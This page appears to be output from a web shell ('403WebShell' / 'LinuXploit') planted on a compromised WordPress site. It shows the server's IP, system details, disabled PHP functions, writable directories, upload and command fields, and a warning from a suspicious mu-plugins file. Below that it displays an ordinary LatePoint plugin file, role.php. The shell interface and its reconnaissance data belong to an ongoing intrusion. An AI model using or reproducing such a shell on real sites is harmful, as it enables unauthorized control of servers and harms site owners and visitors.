Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/misc/role.php
<?php
/*
 * Copyright (c) 2023 LatePoint LLC. All rights reserved.
 */

namespace LatePoint\Misc;

class Role {
	public ?string $user_type = null;
	public ?string $name;

	public ?string $wp_capability = null;
	public ?string $wp_role = null;

	protected array $capabilities = [];

	function __construct($user_type = null, $wp_role = null) {
		if($user_type){
			$this->user_type = $user_type;

			switch($this->user_type){
				case LATEPOINT_USER_TYPE_ADMIN:
					$this->name = __('Administrator', 'latepoint');
					$this->wp_role = LATEPOINT_WP_ADMIN_ROLE;
					break;
				case LATEPOINT_USER_TYPE_AGENT:
					$this->name = __('LatePoint Agent', 'latepoint');
					$this->wp_role = LATEPOINT_WP_AGENT_ROLE;
					break;
				case LATEPOINT_USER_TYPE_CUSTOM:
					$this->name = __('New Custom Role', 'latepoint');
					$this->wp_role = $wp_role ?? \OsRolesHelper::generate_role_id();
					break;
			}
			$this->set_capabilities();
		}
	}

	public function register_in_wp(): \WP_Role{
		remove_role($this->wp_role);
		add_role($this->wp_role, $this->name);
		$role = get_role($this->wp_role);
		$role->add_cap('read');
		$role->add_cap('upload_files');
		switch($this->user_type){
			case LATEPOINT_USER_TYPE_AGENT:
				$role->add_cap('edit_bookings');
				break;
			case LATEPOINT_USER_TYPE_CUSTOM:
				$role->add_cap('manage_latepoint');
				break;
		}

		/**
		 * Custom role that was just been registered in LatePoint
		 *
		 * @since 4.7.0
		 * @hook latepoint_register_role
		 *
		 * @param {WP_Role} $wp_role custom role that was just been added
		 * @param {Role} $role role that is used to register wp role
		 * @returns {WP_Role} The filtered wp role object
		 */
		return apply_filters('latepoint_register_role', $role, $this);
	}

	public function as_array_to_save(){
		return ['user_type' => $this->user_type, 'wp_role' => $this->wp_role, 'name' => $this->name, 'capabilities' => $this->capabilities];
	}

	public function set_from_params($params){
		$this->user_type = $params['user_type'] ?? LATEPOINT_USER_TYPE_CUSTOM;
		$this->wp_role = $params['wp_role'] ?? '';
		$this->name = $params['name'] ?? '';
		$this->capabilities = $params['capabilities'] ?? [];
	}

	public static function get_from_wp_role(string $wp_role): Role{
		switch($wp_role){
			case LATEPOINT_WP_ADMIN_ROLE:
				$role = new self(LATEPOINT_USER_TYPE_ADMIN, LATEPOINT_WP_ADMIN_ROLE);
				break;
			case LATEPOINT_WP_AGENT_ROLE:
				$role = new self(LATEPOINT_USER_TYPE_AGENT, LATEPOINT_WP_AGENT_ROLE);

				break;
			default:
				// custom role
				$custom_roles = \OsRolesHelper::get_custom_roles();
				$role = new self();
				if(isset($custom_roles[$wp_role])) $role->set_from_params($custom_roles[$wp_role]);
				break;
		}
		return $role;
	}

	public static function generate_from_params(array $params): Role{
		$role = new self();
		$role->set_from_params($params);
		return $role;
	}

	public function is_action_permitted($action){
		return in_array($action, $this->capabilities);
	}

	public function get_wp_role_display_name(){
		switch($this->user_type) {
			case LATEPOINT_USER_TYPE_ADMIN:
				$display_name = __('Administrator', 'latepoint');
				break;
			case LATEPOINT_USER_TYPE_AGENT:
				$display_name = __('LatePoint Agent', 'latepoint');
				break;
			case LATEPOINT_USER_TYPE_CUSTOM:
				$display_name = $this->name;
				break;
		}
		return $display_name ?? 'n/a';
	}


	public function set_capabilities(){
		switch($this->user_type){
			case LATEPOINT_USER_TYPE_ADMIN:
				// admin role has access to all actions by default, and can't be changed
				$this->capabilities = \OsRolesHelper::get_all_available_actions_list();
				break;
			case LATEPOINT_USER_TYPE_AGENT:
				$this->capabilities = \OsRolesHelper::get_capabilities_list_for_agent_role();
				break;
			case LATEPOINT_USER_TYPE_CUSTOM:
				$custom_roles = \OsRolesHelper::get_custom_roles();
				$this->capabilities = $custom_roles[$this->wp_role] ?? [];
				break;
		}
	}

	public function get_capabilities(): array{
		if(empty($this->capabilities)) $this->set_capabilities();
		return $this->capabilities;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit